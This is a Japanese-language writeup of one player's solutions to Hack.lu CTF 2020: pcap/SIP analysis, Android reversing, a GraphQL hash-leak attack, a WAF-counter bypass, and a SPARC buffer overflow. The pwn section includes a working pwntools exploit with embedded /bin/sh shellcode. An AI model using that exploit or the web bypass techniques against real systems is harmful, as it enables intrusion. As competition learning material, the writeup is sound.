2020/10/23 20:37 - 2020/10/25 20:37 で開催された Hack.lu CTF 2020 に1人チーム (y011d4) で参加しました。 自分が好きな crypto, rev はあまり存在しなくて (or 全く歯が立たない)、結果として普段避けがちな web 問に取り掛かれたのはよかったです。 結果は56位でした。 解けた問題についての writeup をまとめます (本当は英語で書くのがベターだけど、時間がないので日本語で)。 どうでもいいけど、自分は “cool theme” で開いていたのですが、アレ (自主規制) のパロディで笑った。
解けた問題
Misc
Callman
pcap ファイルが渡されて解析する問題。
取っ掛かりが全然わからなかったため、問題文に入っている call
という文字列で適当に grep
してみました。
strings Callboy.pcapng | grep call -A 3 -B 3 -i
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: sip:p4ck3t0@10.13.37.86
CSeq: 20 INVITE
Call-ID: 54c2YeA2B1
Max-Forwards: 70
Supported: replaces, outbound, gruu
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO, UPDATE
--
Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>
Call-ID: 54c2YeA2B1
CSeq: 20 INVITE
User-Agent: Linphone/3.6.1 (eXosip2/4.1.0)
Content-Length: 0
--
Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
Call-ID: 54c2YeA2B1
CSeq: 20 INVITE
Contact: <sip:p4ck3t0@10.13.37.86:5060>
User-Agent: Linphone/3.6.1 (eXosip2/4.1.0)
--
Via: SIP/2.0/UDP 10.13.37.1:5060;branch=z9hG4bK.o3uJc945G;rport=5060
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
Call-ID: 54c2YeA2B1
CSeq: 20 INVITE
Contact: <sip:p4ck3t0@10.13.37.86>
Content-Type: application/sdp
--
From: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
To: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
CSeq: 20 ACK
Call-ID: 54c2YeA2B1
Max-Forwards: 70
User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177
H@0Z
--
Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277
From: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
To: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
Call-ID: 54c2YeA2B1
CSeq: 2 BYE
Contact: <sip:p4ck3t0@10.13.37.86:5060>
Max-Forwards: 70
--
Via: SIP/2.0/UDP 10.13.37.86:5060;rport;branch=z9hG4bK1693586277
From: <sip:p4ck3t0@10.13.37.86>;tag=1213333916
To: <sip:p4ck3t0@192.168.188.83>;tag=xNvnJk9AB
Call-ID: 54c2YeA2B1
CSeq: 2 BYE
User-Agent: Linphone Desktop/4.2.2 (Arch Linux, Qt 5.15.1) LinphoneCore/6da3177
Supported: replaces, outbound, gruu
SIP というプロトコルで通話をしているログなのかなと予想しました。
Wireshark で開き、 Telephony -> RTP -> RTP Streams
で RTP のストリームを見てみると3つ見つかり、そのうちの1つが音声となっていました。
後は英語のリスニング試験となったのですが、英語が苦手な自分は pixel (スマホ) のレコーダーアプリで文字起こしをしてもらってフラグを入手しました。
(call を cool と文字起こしされて、なかなか修正に手こずった…)
flag{call_me_baby_1337_more_times}
P*rn Protocol
P*rnProtocol という通信規格のドキュメントが与えられているので、その規格に沿って通信する問題。 説明書を読んで愚直に実装するだけでした。やったことの流れを簡単にまとめると、
- identifier が最初の通信で渡されるので、それを指定しつつ Member ID をリクエスト
- username, password を返されるので、それを使ってログイン
- flag をリクエスト
実装には pwntools を使いました。 悲しいことに大会中に誤ってファイルを消してしまうというとんでもないミスをしてしまったためコードは残っていないし、既に解けた問題のコードを復元する気力はないので方針だけです…
Pwn
Secret Pwnhub Academy Rewards Club
sparc というアーキテクチャ上での pwn 問。 仕様については https://cseweb.ucsd.edu/~gbournou/CSE131/samv8.pdf を参考にしました。
Dockerfile で gdb が走る環境が与えられていたため、その環境を使って gdb で挙動を確認しました。 (今回の CTF、どの問題も環境がしっかり与えられていてとてもやりやすかった)
(gdb) disas
Dump of assembler code for function main:
0x000104b4 <+0>: std %fp, [ %sp + 0x38 ]
0x000104b8 <+4>: add %sp, -96, %sp
0x000104bc <+8>: sub %sp, -96, %fp
0x000104c0 <+12>: mov %o7, %i7
=> 0x000104c4 <+16>: call 0x102a4 <setup>
0x000104c8 <+20>: nop
0x000104cc <+24>: call 0x10318 <fn>
0x000104d0 <+28>: nop
0x000104d4 <+32>: clr %g1 ! 0x0
0x000104d8 <+36>: mov %g1, %o0
0x000104dc <+40>: mov %fp, %g1
0x000104e0 <+44>: mov %i7, %o7
0x000104e4 <+48>: ldd [ %fp + 0x38 ], %fp
0x000104e8 <+52>: mov %g1, %sp
0x000104ec <+56>: retl
0x000104f0 <+60>: nop
End of assembler dump.
buffer overflow 問かと予想して適当にググっていると http://www.ouah.org/UNF-sparc-overflow.html を見つけました。 今回の問題設定 (main 関数から呼んだ関数上で read が呼ばれる) と酷似していたため、 buffer overflow でいけると確信。
sparc の仕様を完全に追うのは大変そうだったため、手動二分探索で書き込む量を gdb で確認しつつ決定し、ググってみつけたシェルコード (/bin/sh) を呼び出してフラグゲット (なので結局 sparc についてはよくわからなかった)。
from pwn import *
from Crypto.Util.number import long_to_bytes
# r = remote("localhost", 4444)
r = remote("flu.xxx", 2020)
context.log_level = "DEBUG"
address = r.recvuntil("\n") # 0xffffeb78
address = int(address, 16)
print(hex(address))
r.sendline(b"A"*184 + b"\xff\xff\xec\x58" + long_to_bytes(address))
# http://shell-storm.org/shellcode/files/shellcode-83.php
shellcode = b"\x82\x10\x20\x7e" + b"\x92\x22\x40\x09" + b"\x90\x0a\x40\x09" + b"\x91\xd0\x20\x10" + b"\x2d\x0b\xd8\x9a" + b"\xac\x15\xa1\x6e" + b"\x2f\x0b\xdc\xda" + b"\x90\x0b\x80\x0e" + b"\x92\x03\xa0\x08" + b"\x94\x22\x80\x0a" + b"\x9c\x03\xa0\x10" + b"\xec\x3b\xbf\xf0" + b"\xd0\x23\xbf\xf8" + b"\xc0\x23\xbf\xfc" + b"\x82\x10\x20\x3b" + b"\x91\xd0\x20\x10"
r.sendline(b"A" * 8 + shellcode)
r.interactive()
flag{all_the_!nput_to_0utput_register_sh0veling}
Rev
flagdroid
android アプリの rev 問。
まずは https://www.glamenv-septzen.net/view/972 を参考に、逆アセンブルして .smali
ファイルを生成しました。
unzip flagdroid.apk
java -jar baksmali-2.4.0.jar d classes.dex
out/lu/hack/Flagdroid/MainActivity$1.smali
を見てみると、 flag の判定をしているような部分を見つけました。
const-string v2, "flag\\{(.*)\\}"
.line 48
invoke-static {v2}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
move-result-object v2
.line 49
invoke-virtual {v2, v1}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
move-result-object v1
.line 50
invoke-virtual {v1}, Ljava/util/regex/Matcher;->find()Z
move-result v2
const/4 v3, 0x4
const/4 v4, 0x0
if-eqz v2, :cond_88
.line 51
invoke-virtual {v1}, Ljava/util/regex/Matcher;->group()Ljava/lang/String;
move-result-object v1
const-string v2, "flag{"
const-string v5, ""
invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
move-result-object v1
const-string v2, "}"
invoke-virtual {v1, v2, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
move-result-object v1
const-string v2, "_"
.line 53
invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
move-result-object v1
.line 54
array-length v2, v1
if-ne v2, v3, :cond_88
.line 55
iget-object v2, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity;
aget-object v5, v1, v4
# invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit1(Ljava/lang/String;)Z
invoke-static {v2, v5}, Llu/hack/Flagdroid/MainActivity;->access$000(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z
move-result v2
.line 56
iget-object v5, p0, Llu/hack/Flagdroid/MainActivity$1;->this$0:Llu/hack/Flagdroid/MainActivity;
const/4 v6, 0x1
aget-object v6, v1, v6
# invokes: Llu/hack/Flagdroid/MainActivity;->checkSplit2(Ljava/lang/String;)Z
invoke-static {v5, v6}, Llu/hack/Flagdroid/MainActivity;->access$100(Llu/hack/Flagdroid/MainActivity;Ljava/lang/String;)Z
どうやら flag は flag{xxx_yyy_zzz_www}
という形になっているようで、 xxx
, yyy
, zzz
, www
の部分はそれぞれ access$?00
(checkSplit?
) でチェックされているみたいです。
それぞれのチェック関数を見てみると、
- checkSplit1
- 0x7f0c001e にある文字列を base64 でデコードしたものと一致するかチェック
- 0x7f0c001e の文字列は android studio で見たところ、
dEg0VA==
だったので、tH4T
- 0x7f0c001e の文字列は android studio で見たところ、
- 0x7f0c001e にある文字列を base64 でデコードしたものと一致するかチェック
- checkSplit2
(flag[i] + i) xor "hack.lu20"[i]
が\u001fTT:\u001f5\u00f1HG
と一致するかチェック- xor を逆変換して、
w45N-T~so
- xor を逆変換して、
- checkSplit3
md5(h4rd????) == 6d90ca30c5de200fe9f671abb2dd704e
をチェック????
の部分をブルートフォースで決定
- checkSplit4
- ネイティブコードを使っていたため、
lib/x86_64/libnative-lib.so
を見た - 文字列がベタ書きされていた
- ネイティブコードを使っていたため、
一応全体のコード↓
from base64 import b64decode
from hashlib import md5
from itertools import product
# checkSplit1
flag1 = b64decode(b"dEg0VA==").decode()
print(flag1)
# checkSplit2
flag2 = ""
target = b"\x1fTT:\x1f5\xf1HG"
key = b"hack.lu20"
assert len(key) == len(target)
for i, (t, k) in enumerate(zip(target, key)):
flag2 += chr((t ^ k) - i)
print(flag2)
# checkSplit3
flag3_prefix = "h4rd"
for i0, i1, i2, i3 in product(range(32, 128), repeat=4):
c0, c1, c2, c3 = (
chr(i0),
chr(i1),
chr(i2),
chr(i3),
)
if md5((flag3_prefix + c0 + c1 + c2 + c3).encode()).hexdigest() == "6d90ca30c5de200fe9f671abb2dd704e":
flag3 = flag3_prefix + c0 + c1 + c2 + c3
break
print(flag3)
# checkSplit4
flag4 = "0r~w4S-1t?8)"
print(flag4)
# join
flag = f"flag{{{flag1}_{flag2}_{flag3}_{flag4}}}"
print(flag)
flag{tH4T_w45N-T~so_h4rd~huh_0r~w4S-1t?8)}
Web
Confession
適当にあれこれ操作していると、 /graphql に対して post をしているのを見つけました。 ctf4b 2020 の profiler の問題を思い出した (自分の writeup link) ので、それと同じく schema がとれないかをまず試しました。とれました。
get-graphql-schema https://confessions.flu.xxx/graphql
directive @cacheControl(maxAge: Int, scope: CacheControlScope) on FIELD_DEFINITION | OBJECT | INTERFACE
type Access {
timestamp: String
name: String
args: String
}
enum CacheControlScope {
PUBLIC
PRIVATE
}
type Confession {
id: String
title: String
hash: String
message: String
}
type Mutation {
"""Create a new confession."""
addConfession(title: String, message: String): Confession
"""Get a confession by its id."""
confessionWithMessage(id: String): Confession
}
type Query {
"""Show the resolver access log. TODO: remove before production release"""
accessLog: [Access]
"""Get a confession by its hash. Does not contain confidential data."""
confession(hash: String): Confession
}
"""The `Upload` scalar type represents a file upload."""
scalar Upload
TODO とかコメントに書いてあるものは大体怪しいので、 accessLog
の query を送りました。
{
"operationName": null,
"query": "query Q { accessLog { timestamp, name, args } }",
}
すると、以下のレスポンスが返ってきました。
{
"data": {
"accessLog": [
{
"timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
"name": "addConfession",
"args": "{"title":"<redacted>","message":"<redacted>"}"
},
{
"timestamp": "Fri Oct 23 2020 01:46:56 GMT+0000 (Coordinated Universal Time)",
"name": "confession",
"args": "{"hash":"252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111"}"
},
{
"timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
"name": "addConfession",
"args": "{"title":"<redacted>","message":"<redacted>"}"
},
{
"timestamp": "Fri Oct 23 2020 01:46:57 GMT+0000 (Coordinated Universal Time)",
"name": "confession",
"args": "{"hash":"593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"}"
},
{
"timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
"name": "addConfession",
"args": "{"title":"<redacted>","message":"<redacted>"}"
},
{
"timestamp": "Fri Oct 23 2020 01:46:58 GMT+0000 (Coordinated Universal Time)",
"name": "confession",
"args": "{"hash":"c310f60bb9f3c59c43c73ff8c7af10268de81d4f787eb04e443bbc4aaf5ecb83"}"
},
(以下略)
web サイトの仕様をもう一度確認すると、 message 部分に文字を書き込むたびに graphql にクエリを投げる仕様になっていました。
hash は sha256(message)
を計算しているだけなので、 message
を1文字ずつ決定できそうです。
import json
from hashlib import sha256
with open("./response-data-export") as f:
res = json.load(f)
flag = b""
for access in res["data"]["accessLog"]:
if access["name"] == "confession":
for i in range(32, 128):
c = chr(i).encode()
if sha256(flag + c).hexdigest() == access["args"].split('"')[3]:
flag += c
print(flag)
break
flag{but_pls_d0nt_t3ll_any1}
FluxCloud Serverless
cloud サービスを真似たような問題?
Demo
を押すと用意されているデモサイトがデプロイされます。そのサイトの /flag/ にアクセスするとフラグが見れそうですが、 serverless/functions/waf.js
で URL 内に flag
の文字列があると弾かれてしまいます。
どうすればいいかさっぱりだったため、用意されている動作環境をとりあえず手元で動かしていろいろ試してみました。
アクセスするたびに team-products
と team-security
の値が減っていくのがわかります。これが0になるとサービス終了ということでデプロイ先にアクセスすることができなくなるようです。
URL に何か小細工をするのかと考え、適当に文字を入れて試してみたところ、 %90
という文字を入れると team-security
だけ減って team-products
は減らないという現象に気づきました。
もう一度コードを確認すると、 waf
でエラーがはかれると、 team-products
を減らす処理に入らない仕様になっていました。
なので一度 %90
の文字を入れてアクセスしてエラー落ちさせたあとで /flag/
にアクセスを13回繰り返すと team-security
だけ0になって team-products
は非負という状況が作り出せます。
このとき waf
のチェックはされなくなるため、 /flag/
にあるフラグを見ることができました。
flag{ca$h_ov3rfl0w}
FluxCloud Serverless 2.0
FluxCloud Serverless の fix 版として追加された問題。 とりあえず思考停止で元の問題と同じ方法を試したところうまくワークしました。 なので差分はよくわかっていないです…
flag{ca$h_ov3rfl0w_50b36a77aa069ca7028df9c0ca615ea3}
解けなかった問題
Crypto
Bad Primes
なので となる が存在しない、という問題。
方針がわかりませんでした…解1つに決まらないのでは?
とりあえず の式について で mod を取ると、 となる が求まります。
が flag{...}
という形になるような制約を に与えてあげて for ループで探させてみましたが、フラグの文字列長は十分長いみたいで無理そうでした (フラグが36文字以下だとしたら探索可能っぽかった)。
Web
BabyJS
javascript の仕様をハックするような問題集。
const FLAG = process.env.FLAG || 'fakeflag{}';
const no = (m='no') => { console.log(m); process.exit(1); };
const assert = (m, b) => b || no(m);
const is = (o, t) => assert('is', typeof o === t);
const isnt = (o, t) => assert('isnt', typeof o !== t);
const passed = (i) => console.log(`check ${i} passed`);
(async () => {
const readline = require('readline').createInterface({
input: process.stdin,
output: process.stdout,
});
const input = await new Promise(resolve => readline.question('Prove that you are 1337 and not baby: ', resolve));
readline.close();
assert('0', input !== '');
passed('0');
const clean = input.replace(/[\u2028\u2029]/g, '');
const json = JSON.parse(clean);
const { a, b } = json;
is(a, 'number');
is(b, 'number');
assert('1.1', a === b);
assert('1.2', 1337 / a !== 1337 / b);
passed('1');
let { c, d } = json;
isnt(c, 'undefined');
isnt(d, 'undefined');
const cast = (f, ...a) => a.map(f);
[c, d] = cast(Number, c, d);
assert('2.1', c !== d);
[c, d] = cast(String, c, d);
assert('2.2', c === d);
passed('2');
let { e } = json;
is(e, 'number');
const isCorrect = e++<e--&&!++e<!--e&&--e>e++;
assert('3', isCorrect);
passed('3');
const { f } = json;
isnt(f, 'undefined');
assert('4', f == !f);
passed('4');
const { g } = json;
isnt(g, 'undefined');
// what you see:
function check(x) {
return {
value: x * x
};
}
// what the tokenizer sees:
function
check
(
x
)
{
return
{
value
:
x
*
x
}
;
}
assert('5', g == check(g));
passed('5');
const { h } = json;
is(h, 'number');
try {
JSON.parse(String(h));
no('6');
} catch(e){}
passed('6');
const { i } = json;
isnt(i, 'undefined');
assert('7', i in [,,,...'"',,,Symbol.for("'"),,,]);
passed('7');
const js = eval(`(${clean})`);
assert('8', Object.keys(json).length !== Object.keys(js).length);
passed('8');
const { y, z } = json;
isnt(y, 'undefined');
isnt(z, 'undefined');
y[y][y](z)()(FLAG);
})();
f までしか解けませんでした…全然思いつかない。
echo '{"a": 0, "b": -0, "c": "NaN", "d": "NaN", "e": -1, "f": [0], "g": "giveup"}' | nc flu.xxx 2071
Prove that you are 1337 and not baby: check 0 passed
check 1 passed
check 2 passed
check 3 passed
check 4 passed
5